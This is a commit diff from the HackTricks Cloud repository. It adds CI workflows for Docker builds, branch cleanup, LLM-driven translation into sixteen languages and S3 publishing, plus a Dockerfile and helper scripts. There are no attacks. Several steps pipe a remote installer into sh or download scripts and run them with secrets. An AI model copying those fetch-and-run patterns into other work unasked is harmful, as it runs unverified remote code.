Εκτιμούμε τις γνώσεις σας και σας ενθαρρύνουμε να μοιραστείτε περιεχόμενο. Παρακαλούμε βεβαιωθείτε ότι ανεβάζετε μόνο περιεχόμενο που κατέχετε ή για το οποίο έχετε άδεια να το μοιραστείτε από τον αρχικό συγγραφέα (προσθέτοντας μια αναφορά στον συγγραφέα στο προστιθέμενο κείμενο ή στο τέλος της σελίδας που τροποποιείτε ή και τα δύο). Ο σεβασμός σας στα δικαιώματα πνευματικής ιδιοκτησίας προάγει ένα αξιόπιστο και νόμιμο περιβάλλον κοινοποίησης για όλους.
We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
## HackTricks Training
Αν προσθέτετε ώστε να μπορέσετε να περάσετε την εξέταση [ARTE certification](https://training.hacktricks.xyz/courses/arte) με 2 flags αντί για 3, πρέπει να ονομάσετε το PR `arte-<username>`.
If you are adding so you can pass the in the [ARTE certification](https://training.hacktricks.xyz/courses/arte) exam with 2 flags instead of 3, you need to call the PR `arte-<username>`.
Also, remember that grammar/syntax fixes won't be accepted for the exam flag reduction.
In any case, thanks for contributing to HackTricks!
Επίσης, θυμηθείτε ότι διορθώσεις γραμματικής/σύνταξης δεν θα γίνουν αποδεκτές για τη μείωση των flags της εξέτασης.
Σε κάθε περίπτωση, σας ευχαριστούμε που συμβάλλετε στο HackTricks!

56
.github/workflows/build_docker.yml vendored Normal file
View File

@@ -0,0 +1,56 @@
name: Build and Push Docker Image
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
- 'book/**'
workflow_dispatch:
concurrency: build_docker
permissions:
packages: write
id-token: write
contents: write
jobs:
build-and-push:
runs-on: ubuntu-latest
steps:
# 1. Check out the repository to get the Dockerfile
- name: Check out code
uses: actions/checkout@v3
with:
fetch-depth: 0
# 2. Log into GitHub Container Registry
- name: Log in to GHCR
uses: docker/login-action@v2
with:
registry: ghcr.io
username: ${{ github.actor }}
password: ${{ secrets.GITHUB_TOKEN }}
# 3. Build and push
- name: Build and push Docker image
run: |
# Define image name
IMAGE_NAME=ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image
# Build Docker image
docker build -t $IMAGE_NAME:latest .
# Push Docker image to GHCR
docker push $IMAGE_NAME:latest
# Set image visibility to public
curl -X PATCH \
-H "Authorization: Bearer ${{ secrets.GITHUB_TOKEN }}" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/packages/container/translator-image/visibility \
-d '{"visibility":"public"}'

View File

@@ -14,12 +14,15 @@ on:
concurrency: build_master
permissions:
packages: write
id-token: write
contents: write
jobs:
run-translation:
runs-on: ubuntu-latest
container:
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
environment: prod
steps:
@@ -28,30 +31,63 @@ jobs:
with:
fetch-depth: 0 #Needed to download everything to be able to access the master & language branches
# Install Rust and Cargo
- name: Install Rust and Cargo
uses: actions-rs/toolchain@v1
with:
toolchain: stable
override: true
# Install mdBook and Plugins
- name: Install mdBook and Plugins
run: |
cargo install mdbook
cargo install mdbook-alerts
cargo install mdbook-reading-time
cargo install mdbook-pagetoc
cargo install mdbook-tabs
cargo install mdbook-codename
# Build the mdBook
- name: Build mdBook
run: mdbook build
run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
# Cat hacktricks-preprocessor.log
#- name: Cat hacktricks-preprocessor.log
# run: cat hacktricks-preprocessor.log
- name: Install GitHub CLI
run: |
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
- name: Publish search index release asset
shell: bash
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
ASSET="book/searchindex.js"
TAG="searchindex-en"
TITLE="Search Index (en)"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${GITHUB_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Delete the release if it exists
echo "Checking if release $TAG exists..."
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
echo "Release $TAG already exists, deleting it..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag || {
echo "Failed to delete release, trying without cleanup-tag..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" || {
echo "Warning: Could not delete existing release, will try to recreate..."
}
}
sleep 2 # Give GitHub API a moment to process the deletion
else
echo "Release $TAG does not exist, proceeding with creation..."
fi
# Create new release (with force flag to overwrite if deletion failed)
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY" || {
echo "Failed to create release, trying with force flag..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY" --cleanup-tag >/dev/null 2>&1 || true
sleep 2
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for master" --repo "$GITHUB_REPOSITORY"
}
# Login in AWs
- name: Configure AWS credentials using OIDC

204
.github/workflows/cleanup_branches.yml vendored Normal file
View File

@@ -0,0 +1,204 @@
name: Cleanup Merged/Closed PR Branches
on:
schedule:
- cron: '0 2 * * 0' # Every Sunday at 2 AM UTC
workflow_dispatch: # Allow manual triggering
inputs:
dry_run:
description: 'Dry run (show what would be deleted without actually deleting)'
required: false
default: 'false'
type: boolean
permissions:
contents: write
pull-requests: read
jobs:
cleanup-branches:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
fetch-depth: 0 # Need full history to see all branches
token: ${{ secrets.PAT_TOKEN }}
- name: Install GitHub CLI
run: |
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y
- name: Configure git
run: |
git config --global user.email "action@github.com"
git config --global user.name "GitHub Action"
- name: Cleanup merged/closed PR branches
env:
GH_TOKEN: ${{ secrets.PAT_TOKEN }}
run: |
echo "Starting branch cleanup process..."
# Check if this is a dry run
DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
if [ "$DRY_RUN" = "true" ]; then
echo "🔍 DRY RUN MODE - No branches will actually be deleted"
echo ""
fi
# Define protected branches and patterns
protected_branches=(
"master"
"main"
)
# Translation branch patterns (any 2-letter combination)
translation_pattern="^[a-zA-Z]{2}$"
# Get all remote branches except protected ones
echo "Fetching all remote branches..."
git fetch --all --prune
# Get list of all remote branches (excluding HEAD)
all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
# Get all open PRs to identify branches with open PRs
echo "Getting list of open PRs..."
open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
echo "Open PR branches:"
echo "$open_pr_branches"
echo ""
deleted_count=0
skipped_count=0
for branch in $all_branches; do
branch=$(echo "$branch" | xargs) # Trim whitespace
# Skip if empty
if [ -z "$branch" ]; then
continue
fi
echo "Checking branch: $branch"
# Check if it's a protected branch
is_protected=false
for protected in "${protected_branches[@]}"; do
if [ "$branch" = "$protected" ]; then
echo " ✓ Skipping protected branch: $branch"
is_protected=true
skipped_count=$((skipped_count + 1))
break
fi
done
if [ "$is_protected" = true ]; then
continue
fi
# Check if it's a translation branch (any 2-letter combination)
# Also protect any branch that starts with 2 letters followed by additional content
if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
echo " ✓ Skipping translation/language branch: $branch"
skipped_count=$((skipped_count + 1))
continue
fi
# Check if branch has an open PR
if echo "$open_pr_branches" | grep -Fxq "$branch"; then
echo " ✓ Skipping branch with open PR: $branch"
skipped_count=$((skipped_count + 1))
continue
fi
# Check if branch had a PR that was merged or closed
echo " → Checking PR history for branch: $branch"
# Look for PRs from this branch (both merged and closed)
pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
if [ "$pr_info" != "[]" ]; then
pr_state=$(echo "$pr_info" | jq -r '.[0].state')
pr_number=$(echo "$pr_info" | jq -r '.[0].number')
merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
if [ "$DRY_RUN" = "true" ]; then
echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
deleted_count=$((deleted_count + 1))
else
echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
# Delete the remote branch
if git push origin --delete "$branch" 2>/dev/null; then
echo " Successfully deleted remote branch: $branch"
deleted_count=$((deleted_count + 1))
else
echo " Failed to delete remote branch: $branch"
fi
fi
else
echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
skipped_count=$((skipped_count + 1))
fi
else
# No PR found for this branch - it might be a stale branch
# Check if branch is older than 30 days and has no recent activity
last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
# Calculate 30 days ago in seconds since epoch
thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
if [ "$DRY_RUN" = "true" ]; then
echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
deleted_count=$((deleted_count + 1))
else
echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
if git push origin --delete "$branch" 2>/dev/null; then
echo " Successfully deleted stale branch: $branch"
deleted_count=$((deleted_count + 1))
else
echo " Failed to delete stale branch: $branch"
fi
fi
else
echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
skipped_count=$((skipped_count + 1))
fi
else
echo " ✓ Skipping branch (cannot determine age): $branch"
skipped_count=$((skipped_count + 1))
fi
fi
echo ""
done
echo "=================================="
echo "Branch cleanup completed!"
if [ "$DRY_RUN" = "true" ]; then
echo "Branches that would be deleted: $deleted_count"
else
echo "Branches deleted: $deleted_count"
fi
echo "Branches skipped: $skipped_count"
echo "=================================="
# Clean up local tracking branches (only if not dry run)
if [ "$DRY_RUN" != "true" ]; then
echo "Cleaning up local tracking branches..."
git remote prune origin
fi
echo "Cleanup process finished."

195
.github/workflows/translate_all.yml vendored Normal file
View File

@@ -0,0 +1,195 @@
name: Translator All
on:
push:
branches:
- master
paths-ignore:
- 'scripts/**'
- '.gitignore'
- '.github/**'
- Dockerfile
workflow_dispatch:
permissions:
packages: write
id-token: write
contents: write
jobs:
translate:
name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
runs-on: ubuntu-latest
environment: prod
# Run N languages in parallel (tune max-parallel if needed)
strategy:
fail-fast: false
# max-parallel: 3 #Nothing to run all in parallel
matrix:
include:
- { name: "Afrikaans", language: "Afrikaans", branch: "af" }
- { name: "German", language: "German", branch: "de" }
- { name: "Greek", language: "Greek", branch: "el" }
- { name: "Spanish", language: "Spanish", branch: "es" }
- { name: "French", language: "French", branch: "fr" }
- { name: "Hindi", language: "Hindi", branch: "hi" }
- { name: "Italian", language: "Italian", branch: "it" }
- { name: "Japanese", language: "Japanese", branch: "ja" }
- { name: "Korean", language: "Korean", branch: "ko" }
- { name: "Polish", language: "Polish", branch: "pl" }
- { name: "Portuguese", language: "Portuguese", branch: "pt" }
- { name: "Serbian", language: "Serbian", branch: "sr" }
- { name: "Swahili", language: "Swahili", branch: "sw" }
- { name: "Turkish", language: "Turkish", branch: "tr" }
- { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
- { name: "Chinese", language: "Chinese", branch: "zh" }
# Ensure only one job per branch runs at a time (even across workflow runs)
concurrency:
group: translate-${{ matrix.branch }}
cancel-in-progress: false
container:
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
env:
LANGUAGE: ${{ matrix.language }}
BRANCH: ${{ matrix.branch }}
steps:
- name: Checkout code
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Update and download scripts
run: |
sudo apt-get update
# Install GitHub CLI properly
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
&& sudo apt update \
&& sudo apt install gh -y \
&& sudo apt-get install -y wget
wget -O /tmp/get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
wget -O /tmp/compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
wget -O /tmp/translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
- name: Run get_and_save_refs.py
run: |
python /tmp/get_and_save_refs.py
- name: Download language branch & update refs
run: |
pwd
ls -la
git config --global --add safe.directory "$GITHUB_WORKSPACE"
git config --global user.name 'Translator'
git config --global user.email 'github-actions@github.com'
git config pull.rebase false
git checkout $BRANCH
git pull
python /tmp/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
git add .
git commit -m "Fix unmatched refs" || echo "No changes to commit"
git push || echo "No changes to push"
- name: Run translation script on changed files
run: |
git checkout master
cp src/SUMMARY.md /tmp/master-summary.md
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
if echo "$file" | grep -qE '\.md$'; then
echo -n ",$file" >> /tmp/file_paths.txt
fi
done
echo "Files to translate (`wc -l < /tmp/file_paths.txt`):"
cat /tmp/file_paths.txt
echo ""
echo ""
touch /tmp/file_paths.txt
if [ -s /tmp/file_paths.txt ]; then
python /tmp/translator.py \
--language "$LANGUAGE" \
--branch "$BRANCH" \
--api-key "$OPENAI_API_KEY" \
-f "$(cat /tmp/file_paths.txt)" \
-t 3
else
echo "No markdown files changed, skipping translation."
fi
- name: Sync SUMMARY.md from master
run: |
git checkout "$BRANCH"
git pull
if [ -f /tmp/master-summary.md ]; then
cp /tmp/master-summary.md src/SUMMARY.md
git add src/SUMMARY.md
git commit -m "Sync SUMMARY.md with master" || echo "SUMMARY already up to date"
git push || echo "No SUMMARY updates to push"
else
echo "master summary not exported; failing"
exit 1
fi
- name: Build mdBook
run: |
git checkout "$BRANCH"
git pull
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
- name: Publish search index release asset
shell: bash
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
set -euo pipefail
ASSET="book/searchindex.js"
TAG="searchindex-${BRANCH}"
TITLE="Search Index (${BRANCH})"
if [ ! -f "$ASSET" ]; then
echo "Expected $ASSET to exist after build" >&2
exit 1
fi
TOKEN="${GITHUB_TOKEN}"
if [ -z "$TOKEN" ]; then
echo "No token available for GitHub CLI" >&2
exit 1
fi
export GH_TOKEN="$TOKEN"
# Delete the release if it exists
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
echo "Release $TAG already exists, deleting it..."
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
fi
# Create new release
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
# Login in AWs
- name: Configure AWS credentials using OIDC
uses: aws-actions/configure-aws-credentials@v3
with:
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
aws-region: us-east-1
# Sync the build to S3
- name: Sync to S3
run: |
echo "Current branch:"
git rev-parse --abbrev-ref HEAD
echo "Syncing $BRANCH to S3"
aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
echo "Sync completed"
echo "Cat 3 files from the book"
find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat

23
.github/workflows/upload_ht_to_ai.yml vendored Normal file
View File

@@ -0,0 +1,23 @@
name: Upload HackTricks to HackTricks AI
on:
workflow_dispatch:
schedule:
- cron: "0 5 1 * *"
jobs:
dowload-clean-push:
runs-on: ubuntu-latest
environment: prod
steps:
# 1. Download the script
- name: Dowload script
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
- name: Install pip dependencies
run: python3 -m pip install openai
# 2. Execute the script
- name: Execute script
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"

1
.gitignore vendored
View File

@@ -35,3 +35,4 @@ book
book/*
hacktricks-preprocessor.log
hacktricks-preprocessor-error.log
searchindex.js

31
Dockerfile Normal file
View File

@@ -0,0 +1,31 @@
# Use the official Python 3.12 Bullseye image as the base
FROM python:3.12-bullseye
# Install system dependencies
RUN apt-get update && apt-get install -y \
curl \
wget \
git \
sudo \
build-essential \
awscli
# Install Python libraries
RUN pip install --upgrade pip && \
pip install openai tqdm tiktoken
# Install Rust & Cargo
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
ENV PATH="/root/.cargo/bin:${PATH}"
# Install mdBook & plugins
RUN cargo install mdbook
RUN cargo install mdbook-alerts
RUN cargo install mdbook-reading-time
RUN cargo install mdbook-pagetoc
RUN cargo install mdbook-tabs
RUN cargo install mdbook-codename
# Set the working directory
WORKDIR /app

View File

@@ -1,34 +0,0 @@
# HackTricks Cloud
{{#include ./banners/hacktricks-training.md}}
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
_Τα λογότυπα και η κίνηση του Hacktricks σχεδιάστηκαν από_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
> [!TIP]
> Καλώς ήρθατε στη σελίδα όπου θα βρείτε κάθε **κόλπο/τεχνική/οτιδήποτε σχετίζεται με CI/CD & Cloud** που έχω μάθει σε **CTFs**, **πραγματικά** περιβάλλοντα **ζωής**, **ερευνώντας**, και **διαβάζοντας** έρευνες και νέα.
### **Pentesting CI/CD Methodology**
**Στη Μεθοδολογία CI/CD του HackTricks θα βρείτε πώς να κάνετε pentest υποδομές που σχετίζονται με δραστηριότητες CI/CD.** Διαβάστε την επόμενη σελίδα για μια **εισαγωγή:**
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
### Pentesting Cloud Methodology
**Στη Μεθοδολογία Cloud του HackTricks θα βρείτε πώς να κάνετε pentest σε περιβάλλοντα cloud.** Διαβάστε την επόμενη σελίδα για μια **εισαγωγή:**
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
### License & Disclaimer
**Ελέγξτε τα εδώ:**
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
### Github Stats
![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
{{#include ./banners/hacktricks-training.md}}

1
README.md Symbolic link
View File

@@ -0,0 +1 @@
src/README.md

View File

@@ -1,6 +1,7 @@
[book]
authors = ["HackTricks Team"]
language = "en"
multilingual = false
src = "src"
title = "HackTricks Cloud"
@@ -8,17 +9,26 @@ title = "HackTricks Cloud"
create-missing = false
extra-watch-dirs = ["translations"]
[preprocessor.alerts]
after = ["links"]
[preprocessor.reading-time]
[preprocessor.pagetoc]
[preprocessor.tabs]
[preprocessor.codename]
[preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py"
env = "prod"
[output.html]
additional-css = ["theme/tabs.css", "theme/pagetoc.css"]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
additional-js = [
"theme/tabs.js",
"theme/pagetoc.js",
"theme/tabs.js",
"theme/ht_searcher.js",
"theme/sponsor.js",
"theme/ai.js"
@@ -26,7 +36,6 @@ additional-js = [
no-section-label = true
preferred-dark-theme = "hacktricks-dark"
default-theme = "hacktricks-light"
hash-files = false
[output.html.fold]
enable = true # whether or not to enable section folding

View File

@@ -53,17 +53,11 @@ def ref(matchobj):
if href.endswith("/"):
href = href+"README.md" # Fix if ref points to a folder
if "#" in href:
result = findtitle(href.split("#")[0], book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
result = findtitle(href, book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
chapter, _path = findtitle(href, book, "source_path")
logger.debug(f'Recursive title search result: {chapter["name"]}')
title = chapter['name']
except Exception as e:
@@ -71,17 +65,11 @@ def ref(matchobj):
dir = path.dirname(current_chapter['source_path'])
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
if "#" in href:
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = " ".join(href.split("#")[1].split("-")).title()
logger.debug(f'Ref has # using title: {title}')
else:
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
if result is None or result[0] is None:
raise Exception(f"Chapter not found")
chapter, _path = result
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
title = chapter["name"]
logger.debug(f'Recursive title search result: {chapter["name"]}')
except Exception as e:
@@ -159,14 +147,8 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
logger.debug(f"Book keys: {book.keys()}")
# Handle both old (sections) and new (items) mdbook API
book_items = book.get('sections') or book.get('items', [])
for chapter in iterate_chapters(book_items):
if chapter is None:
continue
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
current_chapter = chapter
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'

View File

@@ -0,0 +1,88 @@
#!/bin/bash
# Define the image folder and the root of your project
IMAGE_FOLDER="./src/images"
PROJECT_ROOT="."
# Move to the project root
cd "$PROJECT_ROOT" || exit
# Loop through each image file in the folder
find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
# Extract the filename without the path
image_name=$(basename "$image")
# If image file name contains "sponsor", skip it
if [[ "$image_name" == *"sponsor"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"arte"* ]]; then
echo "Skipping arte image: $image_name"
continue
fi
if [[ "$image_name" == *"grte"* ]]; then
echo "Skipping grte image: $image_name"
continue
fi
if [[ "$image_name" == *"azrte"* ]]; then
echo "Skipping azrte image: $image_name"
continue
fi
if [[ "$image_name" == *"websec"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"venacus"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"CLOUD"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"cloud.gif"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"CH_logo"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"lasttower"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
echo "Checking image: $image_name"
# Search for the image name using rg and capture the result
search_result=$(rg -F --files-with-matches "$image_name" \
--no-ignore --hidden \
--glob '!.git/*' \
--glob '!$IMAGE_FOLDER/*' < /dev/null)
echo "Search result: $search_result"
# If rg doesn't find any matches, delete the image
if [ -z "$search_result" ]; then
echo "Deleting unused image: $image"
rm "$image"
else
echo "Image used: $image_name"
echo "$search_result"
fi
done
echo "Cleanup completed!"

View File

@@ -0,0 +1,165 @@
#!/usr/bin/env python3
import argparse
import json
import re
from pathlib import Path
SRC_DIR = Path("./src")
REFS_JSON = Path("/tmp/refs.json")
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
def extract_refs(text: str):
"""Return a list of refs (trimmed) in appearance order."""
return [m.strip() for m in REF_RE.findall(text)]
def replace_refs_in_text(text: str, new_refs: list):
"""Replace all refs in text with new_refs, maintaining order."""
matches = list(REF_RE.finditer(text))
if len(matches) != len(new_refs):
return text # Can't replace if counts don't match
# Replace from end to beginning to avoid offset issues
result = text
for match, new_ref in zip(reversed(matches), reversed(new_refs)):
# Get the full match span to replace the entire {{#ref}}...{{#endref}} block
start, end = match.span()
# Format the replacement with proper newlines
formatted_replacement = f"{{{{#ref}}}}\n{new_ref}\n{{{{#endref}}}}"
result = result[:start] + formatted_replacement + result[end:]
return result
def main():
parser = argparse.ArgumentParser(description="Compare and fix refs between current branch and master branch")
parser.add_argument("--files-unmatched-paths", type=str,
help="Path to file where unmatched file paths will be saved (comma-separated on first line)")
args = parser.parse_args()
if not SRC_DIR.is_dir():
raise SystemExit(f"Not a directory: {SRC_DIR}")
if not REFS_JSON.exists():
raise SystemExit(f"Reference file not found: {REFS_JSON}")
# Load the reference refs from master branch
try:
with open(REFS_JSON, 'r', encoding='utf-8') as f:
master_refs = json.load(f)
except (json.JSONDecodeError, UnicodeDecodeError) as e:
raise SystemExit(f"Error reading {REFS_JSON}: {e}")
print(f"Loaded reference data for {len(master_refs)} files from {REFS_JSON}")
files_processed = 0
files_modified = 0
files_with_differences = 0
unmatched_files = [] # Track files with unmatched refs
# Track which files exist in current branch
current_files = set()
for md_path in sorted(SRC_DIR.rglob("*.md")):
rel = md_path.relative_to(SRC_DIR).as_posix()
rel_with_src = f"{SRC_DIR.name}/{rel}" # Include src/ prefix for output
files_processed += 1
# Track this file as existing in current branch
current_files.add(rel)
try:
content = md_path.read_text(encoding="utf-8")
except UnicodeDecodeError:
# Fallback if encoding is odd
content = md_path.read_text(errors="replace")
current_refs = extract_refs(content)
# Check if file exists in master refs
if rel not in master_refs:
if current_refs:
print(f"⚠️ NEW FILE with refs: {rel_with_src} (has {len(current_refs)} refs)")
files_with_differences += 1
unmatched_files.append(rel_with_src)
continue
master_file_refs = master_refs[rel]
# Compare ref counts
if len(current_refs) != len(master_file_refs):
print(f"📊 REF COUNT MISMATCH: {rel_with_src} -- Master: {len(master_file_refs)} refs, Current: {len(current_refs)} refs")
files_with_differences += 1
unmatched_files.append(rel_with_src)
continue
# If no refs in either, skip
if not current_refs and not master_file_refs:
continue
# Compare individual refs
differences_found = False
for i, (current_ref, master_ref) in enumerate(zip(current_refs, master_file_refs)):
if current_ref != master_ref:
if not differences_found:
print(f"🔍 REF DIFFERENCES in {rel_with_src}:")
differences_found = True
print(f" Ref {i+1}:")
print(f" Master: {repr(master_ref)}")
print(f" Current: {repr(current_ref)}")
if differences_found:
files_with_differences += 1
unmatched_files.append(rel_with_src)
# Replace current refs with master refs
try:
new_content = replace_refs_in_text(content, master_file_refs)
if new_content != content:
md_path.write_text(new_content, encoding="utf-8")
files_modified += 1
print(f" ✅ Fixed refs in {rel_with_src}")
else:
print(f" ❌ Failed to replace refs in {rel_with_src}")
except Exception as e:
print(f" ❌ Error fixing refs in {rel_with_src}: {e}")
# Check for files that exist in master refs but not in current branch
unexisted_files = 0
for master_file_rel in master_refs.keys():
if master_file_rel not in current_files:
rel_with_src = f"{SRC_DIR.name}/{master_file_rel}"
print(f"🗑️ {rel_with_src} (existed in master but not in current one)")
unexisted_files += 1
unmatched_files.append(rel_with_src)
# Save unmatched files to specified path if requested
if args.files_unmatched_paths and unmatched_files:
try:
unmatched_paths_file = Path(args.files_unmatched_paths)
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
with open(unmatched_paths_file, 'w', encoding='utf-8') as f:
f.write(','.join(list(set(unmatched_files))))
print(f"📝 Saved {len(unmatched_files)} unmatched file paths to: {unmatched_paths_file}")
except Exception as e:
print(f"❌ Error saving unmatched paths to {args.files_unmatched_paths}: {e}")
elif args.files_unmatched_paths and not unmatched_files:
# Create empty file if no unmatched files found
try:
unmatched_paths_file = Path(args.files_unmatched_paths)
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
unmatched_paths_file.write_text('\n', encoding='utf-8')
print(f"<EFBFBD> No unmatched files found. Created empty file: {unmatched_paths_file}")
except Exception as e:
print(f"❌ Error creating empty unmatched paths file {args.files_unmatched_paths}: {e}")
print(f"\n SUMMARY:")
